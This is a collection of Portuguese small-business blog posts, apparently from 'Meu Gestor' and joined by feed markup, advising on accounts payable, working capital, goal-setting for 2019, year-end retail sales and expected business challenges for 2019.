Ou seja, o controle das contas a pagar auxilia na identificação de todos os pagamentos para que nenhum seja esquecido, na priorização de gastos quando necessário, no cálculo da necessidade de capital de giro, no controle de prazos, permitindo a negociação com fornecedores e na tomada de ações que evitam que sua empresa atrase pagamentos e incorra em dívidas e juros.
Todas essas informações permitem uma análise financeira completa e confiável do seu negócio.
Bom, já sabemos o que é a importância de controlar custos e despesas do negócio. Agora é hora de aprender como:
O primeiro passo é o mais óbvio, mas também o menos executado. Porque? Muita das vezes outras tarefas são priorizadas.
Sabemos que você, como empreendedor, precisa estar atento a vários pontos do negócio e vários são os problemas que aparecem no dia a dia da empresa. Porém, gerenciar por tarefas e deixar informações importantes como essas “pra depois” é um RISCO!
Conselho meu: priorize ações que impactam DIRETAMENTE no resultado do seu negócio.
Anotar todas os gastos dos negócio impacta diretamente no seu caixa, no ciclo financeiro e capital de giro da empresa, podendo levar a dívidas desnecessárias. Portanto, crie o hábito de anotar esses gastos.
Essa informação é útil também para separar gastos pessoais com gastos do empreendimento.
Além de anotar todos os gastos da companhia, é preciso entender quais outras informações são relevantes e também observá-las.
Por exemplo, é importante separar despesas fixas de despesas variáveis? Essa informação pode ser necessária no momento de priorização de gastos, por exemplo.
Outras possíveis informações relevantes são o valor a ser pago, data prevista de pagamento, data real do pagamento, nome do fornecedor, documento e a situação daquele pagamento.
É importante ressaltar que as informações devem ser determinadas por você empreendedor que está diretamente envolvido no negócio. O que é importante saber na hora de identificar uma saída da sua empresa?
Depois de identificadas todas aquelas informações relevantes é imprescindível que você as coloque em um único lugar, de fácil acesso. Seja uma tabela de Excel, Google Sheets ou um software.
A ideia é bater o olho nos dados e entender a situação financeira macro da sua empresa.
Na imagem abaixo temos uma sugestão de como pode ser feito, caso você utilize o Sheets ou Excel:
Se tiver alguma dúvida de como montar essa planilha pode mandar uma mensagem aqui que te ajudo!
Como resultado do passo anterior, ter os dados compilados e transformá-los em informação é crucial.
Por isso é importante que eles sejam atualizados sempre e que sejam simples o bastante para que qualquer pessoa consiga entendê-los.
Caso a maioria das contas a pagar estejam atrasadas ou não pagas é um sinal de alerta para seu caixa, concorda? As vezes é preciso tomar algumas ações que reduzirão o ciclo financeiro e melhorarão essa situação.
A partir das análises do contas a pagar é possível tomar algumas ações que podem fazer muita diferença no dinheiro que sobra no fim do mês: é possível, por exemplo, antecipar pagamentos e conseguir benefícios e até mesmo renegociar com fornecedores e conseguir maior prazo de pagamento ou até mesmo descontos maiores.
Agora que você já entendeu a importância de controlar suas saídas e como fazer isso de maneira prática e eficiente, pode avançar pra estruturar o fluxo de caixa do seu negócio. Você descobre como fazer isso nesse texto “Como gerenciar o fluxo de caixa da sua empresa”.
Caso surjam dúvidas pode deixar aqui nesse formulário que entramos em contato!
O post Como controlar as contas a pagar da sua empresa apareceu primeiro em Meu Gestor.
]]>O post Como reduzir a necessidade de capital de giro no seu negócio apareceu primeiro em Meu Gestor.
]]>Capital de giro é um dos pontos centrais dentro de um negócio. Além de ser um dos problemas mais recorrentes em todos os clientes que tratamos: menos de 30% deles tem um controle apurado da necessidade de capital e de suas alavancas.
Os impactos desse descontrole podem ser devastadores dentro do negócio!
Então vamos, neste post, entender um pouco mais os seguintes pontos:
Vamos começar e até o final do artigo você já pode ter uma luz em alguns pontos obscuros do seu negócio hoje!
Antes de qualquer coisa, você precisa entender claramente o que é Necessidade de Capital de Giro e como chegar nessa métrica dentro da sua realidade.
Necessidade de Capital de Giro é quantidade de Capital necessária para financiar a operação diária do seu negócio.
Em outras palavras, é o dinheiro que você precisa para pagar todas as contas do seu negócio e mantê-lo funcionando.
A necessidade de capital de Giro é a diferença entre as contas do seu Ativo Circulante (Vendas a vista e prazo, Caixa, estoques) e as contas do seu Passivo Circulante (Contas a Pagar, principalmente, mas também empréstimos, salários da sua equipe, impostos).
Com a Necessidade de Capital de Giro você sabe quanto precisa ter em caixa para pagar suas contas sem depender de capital externo ou sem a realização de aportes dos sócios.
Assim, para ter uma Necessidade de Capital de Giro bem mapeada e um Capital de Giro estruturado é necessário ter alguns controles e implementar algumas rotinas de gestão em contas com impacto financeiro. Agora vamos falar um pouco mais delas.
Antes de começarmos, já gostaria de destacar alguns pontos sobre o Capital de Giro:
Com isso fica claro que a gestão dos seus prazos de pagamento e recebimento impacta diretamente seu capital de giro. Esta dinâmica impacta o que chamamos de ciclo financeiro, que é o período em que sua empresa fica “a descoberto”, após o pagamento dos seus fornecedores, até o recebimento dos seus clientes.
Para se ter toda essa informação disponível é importante ter um controle do Fluxo de caixa dentro da realidade do negócio, de forma muito bem estruturada e atualizada, pois só assim você terá a informação fidedigna sobre recebimentos e pagamentos para tomada de decisão. Concorda?
Despesas e custos, receitas e estoque influenciam diretamente na sua necessidade de capital de giro e devem estar a todo momento no radar com trabalhos constantes em desenvolvimento para melhoria e otimização.
Não precisa se preocupar com isso mais! Aqui listamos algumas formas de agir para melhorar a gestão do seu capital de giro e reduzir a sua Necessidade de Capital.
Vamos começar por um ponto crítico em pequenas empresas e que, de acordo com a nossa experiência, gera um desconforto e preocupação constantes nos gestores.
O Ciclo Financeiro é um dos principais pontos em uma boa gestão de Capital de Giro e é onde a maioria das empresas, especialmente as de pequeno porte, falham, deixando esses prazos de lado. Seu controle é imprescindível para um controle eficaz do capital de giro.
Via de regra, os gestores deixam os prazos de pagamento na mão de seus fornecedores, se apertando para realizar pagamentos ou pagando juros em caso de atrasos, evitando qualquer tipo de negociação por receio ou não confiança que vão surtir algum efeito positivo.
A maioria dos fornecedores tem esse tipo de flexibilidade e consegue reorganizar alguns prazos de acordo com necessidades emergenciais de caixa. Uma dica: não deixe essas renegociações virarem o padrão. Caso perceba que isso vai ocorrer, sente com o seu fornecedor para um renegociação de prazo ou até de contrato.
Outro ponto é a realização de vendas a prazo sem nenhum tipo de controle, impactando diretamente no caixa disponível e no capital necessário para reposição de mercadorias e pagamento de fornecedores. Esses prazos devem ser bem calculados, pois, quando você vende a prazo, precisa ter capital para financiar o negócio enquanto não recebe; no caso de produtos, isso quer dizer comprar mais sem ter recebido a venda que foi feita.
É muito importante a gestão do Ciclo financeiro do seu negócio. Ele deve estar no seu radar a todo momento, acompanhando se o caixa que está disponível e o que se tem a receber bastam para quitação dos compromissos do negócio.
Em caso de identificação de incapacidade de pagamento, é necessário renegociar os prazos com os fornecedores com antecedência ou alterar os planos de recebimento junto aos clientes. Em outro artigo vamos mais a fundo no Ciclo financeiro.
Um ponto de muita importância é trabalhar constantemente pela redução das despesas e custos do negócio. Para isso, é importante que se desenvolva uma análise profunda dessas contas para entender onde os cortes podem ser realizados sem impacto na qualidade de entrega. Recomendamos a utilização do PDCA juntamente com as suas ferramentas, como Pareto e Espinha de Peixe.
Por último e não menos importante, é necessário fazer a gestão de estoque. Uma gestão de estoque mal feita impacta diretamente no seu Caixa, que por sua vez impacta no seu Capital de Giro: mercadoria parada em estoque é dinheiro parado no estoque, tanto de matéria prima quanto de produto finalizado.
Enfim, estoque tem que ser bem gerenciado e acompanhado. Já produzimos um artigo falando sobre isso, que pode ser acessado, clicando aqui.
Bem, acredito que consegui passar um panorama geral sobre o Capital de Giro e a Necessidade de Capital de Giro. A intenção é te alertar sobre esse ponto importante do seu negócio e ainda te passar algumas possíveis ações para facilitar seu controle.
Afinal, você curtiu esse assunto e achou o texto com informações interessantes pra você? Então continue com a visita em nosso blog, leia agora mesmo o texto “10 dicas para entender e controlar o ciclo financeiro da sua empresa” e se torne um especialista no assunto!
O post Como reduzir a necessidade de capital de giro no seu negócio apareceu primeiro em Meu Gestor.
]]>O post Como melhorar os resultados da sua empresa em 2019 apareceu primeiro em Meu Gestor.
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Pode parecer uma etapa simples, mas poucos donos de empresa fazem esse tipo de reflexão. O objetivo aqui é pensar um pouco além do que sua empresa produz ou vende.
Vamos focar em você, dono do negócio: porque você tem essa empresa? Quando inaugurou seu negócio qual era seu objetivo por trás dele? Realizar um sonho? Ganhar dinheiro? Ajudar outras pessoas?
Responder a estas perguntas é começar a pensar qual o propósito da sua empresa, o porquê dela existir e onde vocês querem chegar. É extremamente importante ter claro a respostas a essas três perguntas, porque daqui é que será definida toda estratégia da empresa: a rotina, possíveis investimentos e decisões.
Minha sugestão é que você escreva em algum lugar a conclusão que chegar sobre as perguntas. Escreva na sua agenda, no quadro, na gestão a vista da empresa.
Pode acontecer do resultado da etapa anterior ser um pouco subjetivo, ou seja, parecer uma ideia distante ou até mesmo uma utopia. E é por isso que existe esta etapa. Dizer que deseja melhorar os resultados da sua empresa em 2019 nos leva a uma pergunta simples: melhorar em que quantidade?
O que significa melhorar, para sua empresa? Significa aumentar as vendas? Se sim, em quanto? Faturar mais? Quanto a mais? Expandir o negócio? Por qual motivo? Não adianta apenas definir o que você quer para o próximo mês ou ano, é preciso quantificar este objetivo. E como fazer isso? Através de metas e indicadores.
As metas são a tradução dos objetivos através de valores quantitativos e associadas a um prazo. “Toda meta deve ter um objetivo claramente definido, um valor atribuído a este objetivo e um prazo para alcançá-la.”
Bom, agora que você já deixou claro os objetivos, definiu as metas e indicadores é hora de acompanhá-los. Veja bem, seu desejo é melhorar os resultados da sua empresa em 2019, certo? Para isso é preciso acompanhar esses resultados ao longo de todo o ano de 2019.
Imagina só se você define ótimas metas, estabelece os indicadores prioritários, mas no final do ano não atinge o resultado desejado. Além de frustrado, vai ficar bravo com seu time, sua empresa e talvez até questionar a existência do seu negócio. Por isso é importante ser um líder atento.
Ser um líder atento significa monitorar os resultados da sua equipe: acompanhar os resultados dos indicadores prioritários por semana ou por mês, é o que garante que sua empresa vai bater a meta no fim do ano.
Minha sugestão é acompanhar semanalmente os indicadores com a equipe. Irão existir alguns que precisam de acompanhamento diário e outros mensal, mas em sua maioria é possível fazê-lo semanalmente.
O acompanhamento é relativamente simples: comparar o valor atual com o valor estabelecido e anotar as diferenças. Se o valor atual está abaixo do estabelecido o que será feito para compensar e conseguir atingir a meta? Se o valor atual está acima do estabelecido é possível aumentar a meta ou aconteceu algum fator isolado? Percebe que é a partir de dados concretos da performance da sua empresa que é possível tomar decisões importantes para os resultados do seu trabalho?
É importante que nesta comparação estejam presentes os responsáveis por esse resultado. No próximo tópico explico um pouco mais sobre responsabilidade e autoridade sobre resultados.
Se chegou até aqui você já aprendeu muito sobre como melhorar os resultados da sua empresa em 2019, mas ainda faltam algumas etapas essenciais. Uma delas é a equipe que irá te ajudar a executar tudo que já aprendeu até aqui.
Já parou para pensar quais funções são necessárias para que sua empresa exista? Esse é o momento. Toda empresa, qualquer que seja o porte, qualquer que seja o campo de atividade, precisa de quatro funções básicas: operação, supervisão, gerenciamento e direção.
Sendo assim, você precisa que seus funcionários se encaixem em uma dessas funções. A melhor maneira de obter um resultado satisfatório nesse caso é entendendo o perfil de cada funcionário e a necessidade de cada função.
Entender o perfil dos seus funcionários começa na hora da contratação. Fazer um processo que consiga mostrar a você e aos responsáveis o que aquela pessoa consegue desenvolver de melhor, em que função conseguiria desenvolver melhor suas habilidades.
Se você já tem funcionários e não teve um processo seletivo muito bem mapeado, é possível fazer nesse momento ainda. Uma conversa simples com seus colaboradores pode ajudar a entender o perfil deles bem como algumas habilidades e até mesmo desejos.
É a definição de responsabilidades que garante que os resultados sejam alcançados. Importante! Você, enquanto dono da empresa, precisa se dedicar a função de direção!
Com a etapa passada você aprendeu que a sua equipe é importante para melhorar os resultados da sua empresa em 2019. Mas é preciso mais. É preciso caminhar ao lado dessa equipe rumo ao objetivo traçado.
Adianta ter no seu time pessoas ótimas, que exercem excelentemente suas funções, comprometidas e fornecer um computador com programas desatualizados, lento, com vírus, que desliga sozinho? Não, não adianta. O trabalho será prejudicado, o resultado também.
Agora imagina que sua empresa fornece toda infraestrutura necessária para que a equipe atinja bons resultados: bons computadores, ferramentas, materiais novos. No entanto, não existem treinamentos, os novos contratados precisam aprender “na marra” ou observando apenas. Assim também o trabalho fica comprometido, bem como o resultado.
A equipe é a parte mais importante da sua empresa. São pessoas que querem te ajudar a construir o seu sonho. Pessoas que estão dispostas a te ajudar a superar os desafios rotineiros e a bater metas em prol de ótimo resultados. Mas para que isso aconteça é preciso que você, enquanto líder, propicie o ambiente necessário para que isso aconteça.
Forneça infraestrutura de qualidade, aplique treinamentos, dê autonomia e liberdade para surgimento de ideias. Pondere os erros e faça disso aprendizado, elogie toda conquista. Valorize seu funcionário. Assim, ele se sentirá bem na sua empresa e com um sentimento de retribuição através do trabalho. Bons resultados aparecem assim.
Agora você já tem tudo que precisa para melhorar os resultados da sua empresa em 2019: sabe onde quer chegar, sabe o que é preciso ser feito para chegar lá, sabe os recursos e time necessários para chegar lá. O mais importante então é colocar tudo isso em prática.
Entendo que seja difícil colocar tudo isso em prática de uma só vez, apesar do início de um ano ser um momento propício. Por isso sugiro que crie uma rotina que permita colocar em prática, mesmo que aos poucos, todas essas etapas.
O ideal é estabelecer um horário, pela manhã de preferência, para cumprir a etapa um. No seu primeiro contato com essa etapa determine quanto tempo será necessário para terminá-la. E especifique em quais dias e horários será executada. Faça isso com todas as etapas e será possível colocar tudo em prática.
Outro ponto que merece bastante atenção é a capacidade de adaptação e abertura à mudanças. Esteja atento às novas tecnologias que surgem: como elas podem facilitar a vida da sua empresa? São sistemas que fornecem informações rápidas, de maneira fácil? São plataformas que permitem contar com auxílios de pessoas experientes? É um aplicativo que te avisa as tarefas do dia a dia?
É preciso estar aberto a todas essas mudanças que permeiam nossa realidade e nos acompanharão por um bom tempo. Assim, melhorar os resultados da sua empresa em 2019 está atrelado a uma mudança de comportamento. Adapte essas etapas sugeridas a realidade da sua empresa e comece colocar em prática. Surgindo dúvidas deixe nos comentários que responderemos, ou se preferir entre em contato com um de nossos especialistas.
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O que mais ouvimos nesse período do ano é “agora no fim de ano o meu foco é 100% em vendas”, o que é bastante pertinente já que nesse período – principalmente para o varejo – as vendas aceleram. A grande pergunta que faço é “você vende mais, porque o período é melhor, ou você realmente deseja aumentar as vendas de fim de ano na sua empresa de forma estruturada, que permite que esse aumento acompanhe seu negócio ao longo de todo ano?”
Pode ficar tranquilo, trouxe para você algumas dicas de como se planejar e garantir que sua empresa passará por este período com o mínimo de stress e o máximo de bons resultados. São elas:
1- Entender sua sazonalidade
2- Estabelecer meta para aumentar as vendas de fim de ano
3- Controlar estoque
4- Programar suas compras e controlar a entrega de seus fornecedores
5- Garantir o bom atendimento
Resumidamente, é preciso ter PLANEJAMENTO e GARANTIR a execução dele.
Normalmente, as vendas de toda empresa comportam-se de uma forma mais ou menos repetitiva ao longo dos anos. Chamamos esse comportamento de Sazonalidade.
Para determinados segmentos de empresa, os meses de maior venda estão ligados a datas comemorativas, para outros, ao período escolar. Para algumas indústrias, varia de acordo à estação climática do ano.
Esta sazonalidade se repete a cada ano e é fundamental conhecê-la, pois terá impacto direto sobre seu planejamento de estoque. Todo negócio precisa estar preparado para fornecer seu produto no momento de maior demanda. Caso contrário, corre o risco de perder clientes e enfrentar problemas financeiros.
Portanto, o primeiro passo é identificar se suas vendas tendem a aumentar ou a diminuir neste período de final de ano.
Fonte: Fundação Bradesco
Estabelecer metas para a empresa como um todo, ao longo da sua existência é o que faz com que ela avance e percorra um caminho de resultados positivos. Para o fim do ano não é diferente. Ao estabelecer a meta define-se um horizonte a ser seguido.
O segundo passo então é definir uma meta de vendas para aumentar as vendas de fim de ano. Neste texto te explico tudo sobre como definir uma metas para sua empresa. Mas, neste momento, é importante definir uma “meta diferente”. Sabendo que o período de comemorações do final de ano aquece as vendas na sua empresa é preciso estabelecer uma meta mais alta que nos demais meses.
Uma ótima maneira de começar é olhando para o que já aconteceu no período passado do seu negócio: como foram as vendas, quais foram as margens, quais produtos saíram mais, quais tipos de mídia foram utilizadas na divulgação, quais ações deram mais resultados, quantos clientes novos foram adquiridos.
É importante também olhar para o mercado: quais as previsões de crescimento ou redução de consumo para o ano? Quais as expectativas de preço médio? Qual será a performance esperada para o setor que sua empresa atua? Enfim, todas as informações que possam lhe ajudar em uma análise ou tomada de decisão.
DICA QUENTE: Uma ótima fonte de dados para isso é o CDL local, ele pode fornecer informações valiosas sobre o seu mercado.
Com essas informações em mãos está na hora de definir as suas metas!
Um ponto muito importante para se avaliar nesse período é a margem do negócio, pois mesmo com a alta das vendas se sua margem cair, a quantidade percentual de capital que vai sobrar para a empresa será menor, apesar de poder ser maior em volume. Isso quer dizer que você pode estar sub-aproveitando o potencial do momento de gerar mais capital para você e seu negócio!
Quantas vezes um cliente entrou em uma loja e saiu sem comprar nada porque não encontrou o produto que procurava? Inúmeras!!
Você, certamente, não quer que isso aconteça no seu negócio, certo? É preciso então entender o seu volume de vendas necessário neste período. Você consegue isso através do Passo 2: Estabelecer meta para aumentar as vendas de fim de ano. Outra atitude que contribui é organizar o mix de produtos, mantendo os estoques sempre abastecidos. Porém muito cuidado para que não gere excessos, uma vez que, estoque em excesso gera fluxo de caixa retido.
Para facilitar o seu controle de estoque recomendamos a utilização da Análise de Pareto, através da curva ABC. Se você não conhece a curva ABC nós te ajudamos, confira aqui.
Em muitos casos é normal que itens de estoque se acumulem ao longo do ano, em função de vendas não realizadas. Este estoque, no entanto, pode não ser adequado para as vendas de fim de ano, além de estar ocupando o espaço físico e os recursos financeiros que poderiam ser direcionados para suas vendas de fim de ano.
É fundamental que este estoque seja reduzido através da intensificação do trabalho de vendas ou promoções que ajudem a recuperar os recursos financeiros do seu negócio.
Importante! Não deposite, em um estoque parado há muito tempo, as esperanças de vendas lucrativas.
Você provavelmente vai se frustrar. Mais vale recuperar uma parte significativa dos seus recursos financeiros e utilizá-los na aquisição de novos produtos, otimizando suas chances de lucro no fim do ano.
Cada fornecedor trabalha com um prazo de entrega distinto. É preciso identificar com precisão o prazo de entrega praticado por cada fornecedor e colocar os pedidos no momento certo. Somente esta programação irá garantir que suas mercadorias estarão disponíveis quando seus clientes iniciarem suas compras.
Não basta saber quando as mercadorias serão entregues. É preciso controlar as entregas junto ao fornecedor para evitar a todo custo os possíveis atrasos. Uma vez que as mercadorias sejam entregues, é necessário conferir se o que foi entregue corresponde exatamente ao que foi solicitado.
Afinal, esta verificação evita devoluções, atrasos e retrabalhos desnecessários no seu planejamento.
Sabemos que nessa época do ano o índice de contratação de funcionários é alto. Mas como garantir que estes cumpram o padrão de qualidade que a empresa exige?
Importante! Um cliente mal atendido pode nunca mais voltar no estabelecimento e – ainda – ser uma referência negativa do seu negócio.
O momento é importante para o varejo, mas se não tiver cliente o restante do ano não tem capital de giro que aguente.
Comece planejando suas contratações de fim de ano: defina o perfil ideal, contrate pessoas com esse perfil, dedique um período para apresentação da empresa, da cultura e valores, converse e entenda o perfil de cada um e seus objetivos, alinhe com os do negócio e os treine na função que vão executar.
Isso vai fazer uma diferença brutal na sua taxa de conversão, aquisição de novos clientes, e lucratividade.
A venda nesse momento é o grande objetivo!
Porém, melhor será que ela aconteça sempre, ou seja, que o cliente seja fidelizado.
Para isso, atente-se para cumprimento de prazos de entrega, e no suporte pós venda: caso o produto adquirido apresente algum problema, se empenhar ao máximo para resolvê-lo eficiente e rapidamente.
Bom, aqui foram algumas dicas de como se preparar melhor para aumentar as vendas de fim de ano na sua empresa. Se você está se sentindo um pouco perdido ou tem alguma dúvida, fale com um de nossos especialistas, ou até mesmo deixe um comentário.
Teremos o prazer em ajudá-lo a se preparar para conquistar o mercado no final de ano e começar o próximo com resultados positivos!
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]]>Muitas empresas já estão concluindo seu planejamento para 2019, definindo suas estratégias para retomar o crescimento ou, no mínimo, retomar a lucratividade, como é o caso de muitos negócios que enfrentaram sérias restrições financeiras em 2018. Neste artigo vamos abordar alguns dos principais desafios para as empresas em 2019, identificando algumas iniciativas para melhorar os resultados.
Projeções do Banco Central e de bancos privados brasileiros indicam crescimento entre 2% e 2,5% para a economia brasileira em 2019. Após as eleições, assuntos importantes como a reforma da previdência e a reforma tributária devem ocupar boa parte da pauta política no primeiro semestre de 2019. Além destas, são também esperadas medidas de corte de gastos no setor público, o que pode reduzir a pressão sobre o orçamento do governo e contribuir para a redução da carga tributária.
No cenário externo, a maior economia mundial, os EUA, tende a aumentar sua taxa de juros em ritmo mais controlado, o que pode contribuir para manter o ritmo de crescimento. Por outro lado, a guerra comercial com a China e a saída do Reino Unido da União Europeia podem prejudicar a demanda sobre as exportações brasileiras.
Neste cenário, ainda de muita incerteza, é importante que sejam priorizadas medidas alinhadas com a manutenção da lucratividade do negócio, mesmo que isso signifique reduzir o ritmo de crescimento no curto prazo. Medidas voltadas para o crescimento acelerado exigem recursos financeiros e, a não ser que sua empresa tenha recursos disponíveis, a obtenção de crédito ainda enfrenta custos muito altos, o que aumenta o risco de empréstimos para investir em novas frentes.
Ou seja, teremos inúmeros desafios para as empresas em 2019.
Muitas foram as empresas que em 2018 viram seu faturamento cair, por diversos motivos. Em vários mercados a guerra de preços foi inevitável, como medida de sobrevivência, o que reduziu muito a margem em diversos segmentos. Neste momento, é fundamental que sua empresa saiba identificar em qual produto e em qual mercado ela é mais forte, podendo se diferenciar em qualidade. Isto favorece a lucratividade do negócio e evita a concorrência em preço com outros negócios que, muitas vezes, não competem em nível de igualdade. É preciso saber comunicar este valor ao cliente, envolvendo toda a equipe na agregação e na comunicação deste valor no decorrer dos processos do negócio.
Se sua empresa ainda não teve a chance de reavaliar a variedade de produtos e serviços que oferece ao mercado, talvez agora esta medida seja inevitável. O objetivo é identificar quais produtos e serviços são de fato demandados e se alinham com o que a empresa tem de mais forte.
Se nesse período sua empresa acumulou estoques de produtos com baixa demanda, este já não é mais o momento de pensar em preço: já geraram prejuízo para o seu negócio e seu valor atual é basicamente financeiro, ou seja, precisam ser convertidos em caixa novamente o quanto antes. O ideal é programar campanhas de vendas que reduzam ou eliminem estes estoques, liberando recursos para novos produtos e serviços em 2019. Em alguns casos podem ser necessárias medidas menos drásticas, que alterem a apresentação do produto, agregando mais qualidade ao processo de venda e entrega.
O dinamismo de muitos mercados às vezes inviabiliza que o empresário conheça sua carteira de clientes. É preciso conhecê-la e identificar como sua empresa agrega valor para os mais frequentes e os mais fiéis. Sua carteira atual de clientes é a fonte mais barata para conquistar novas vendas, pois eles já conhecem seu negócio.
É importante manter um contato próximo e constante com os melhores clientes, assim como é importante saber os limites do seu negócio: em alguns casos, pode não ser lucrativo e nem sustentável atender alguns pedidos. Esta medida também favorece sua Política de Crédito e Cobrança, na medida em que reduz as incertezas do relacionamento comercial.
A tecnologia de suporte aos negócios vem se aperfeiçoando em velocidade cada vez maior. Muitas empresas do varejo estão perdendo vendas, principalmente, para a internet. Entrar no mercado virtual não significa apenas ter um website; é preciso investir nos canais de comunicação com o cliente (e-mail, chat, mídias sociais), identificando aquele que seu mercado mais utiliza.
Internamente, a integração dos processos através do uso de sistemas ERP (Enterprise Resource Planning) viabiliza mais agilidade e segurança em toda a cadeia de valor, permitindo que os pedidos sejam gerenciados até o recebimento, após o faturamento. Ou seja, mais segurança no gerenciamento das informações e menos possibilidade de erros ao longo do processo.
E como tempo é dinheiro, a velocidade dos processos exige soluções rápidas e de baixo custo. Hoje em dia já é possível ter o auxílio de diversos especialistas externos à empresa, de forma online, com a utilização de tecnologias de vídeo conferência. Além de não pressionarem os custos da empresa, estes serviços podem ser uma ótima forma de resolver problemas recorrentes e contribuir de forma significativa e rápida para os resultados da empresa.
Caso a recuperação da economia se concretize no patamar esperado, a demanda por seus produtos e serviços deve subir. É importante garantir que os processos internos estejam bem definidos e formalizados, sendo realizados pela equipe de forma estável e gerando os resultados planejados. A definição da carteira de produtos e serviços é fundamental para este desafio: uma variedade ampla demais dificulta e pode até inviabilizar a estabilização dos processos.
Uma medida simples, mas eficaz de comunicação, deve ser adotada: defina com a equipe de forma clara todas as principais etapas dos processos e detalhe os resultados esperados em cada etapa. Estas informações precisam ser conhecidas por toda a equipe e devem estar disponíveis para consulta a todo tempo.
Com o reaquecimento do mercado, é provável que o mercado de trabalho também se reaqueça. É preciso investir na formação da equipe, com novos treinamentos, definição de salários e pacotes de benefícios competitivos!
Além de medidas de integração e a estruturação de um plano de carreira alinhado com os objetivos da empresa e atraente para os profissionais.
Boa parte do conhecimento da empresa a respeito do dia a dia da operação está com a equipe.
É preciso auxiliá-los na organização destas informações e com o fornecimento de ferramentas adequadas para que consigam desempenhar um trabalho satisfatório, alinhado com os critérios de qualidade que a empresa vai defender junto ao mercado.
Se sua empresa ainda não garante a segurança das informações internas e dos clientes, é melhor agir o quanto antes.
Tem sido cada vez mais frequentes os episódios de ataques cibernéticos!Desde o roubo de informações simples, até o sequestro de informações financeiras, de clientes e a interferência em processos mais automatizados.
Existem medidas eficazes na proteção da empresa, mas é preciso um monitoramento constante e que deve ser mais demandado em 2019.
Terão mais resultados as empresas que monitorarem os resultados com regularidade e de forma estruturada
Em um ambiente tão dinâmico como o que as empresas vêm trabalhando, é muito arriscado deixar de avaliar os resultados alcançados. Empresas que se apoiam somente em dados de faturamento e impostos são como motoristas que dirigem contando apenas com o retrovisor. É preciso conhecer e monitorar no detalhe as informações financeiras e operacionais do negócio: dados do processo de vendas, margens, produção, % de eficiência nas etapas do processos, perdas, custos totais e unitários, despesas, ciclo de conversão de caixa, % de inadimplência, dentre outros.
Então, estes dados precisam ser avaliados com uma frequência pelo menos mensal. Quanto mais rápido o acesso a estas informações, mais eficaz se torna a correção de qualquer desvio, o que aumenta a chance de bons resultados. Estas avaliações precisam envolver a equipe diretamente responsável e sua liderança, garantindo o alinhamento e o engajamento de todos com os objetivos da empresa.
São grandes os desafios das empresas para 2019. De uma forma geral, é possível dizer que 2019 vai exigir que as empresas sejam mais enxutas, rápidas e eficazes!
Entregando produtos e serviços de qualidade no mercado em que elas são fortes.
Mais do que recursos financeiros, muitos dos desafios das empresas em 2019 exigem o investimento de tempo, comunicações constantes com a equipe, discussões bem estruturadas com base em indicadores, planos de ação e suportadas por sistemas capazes de fornecer as informações necessárias.
Enfim, para garantir que este investimento seja produtivo e produza os resultados no tempo certo…
Você pode contar com profissionais especializados nos processos que compõem sua cadeia de valor! Garantindo a implantação de indicadores e rotinas de gestão adequados ao seu negócio!
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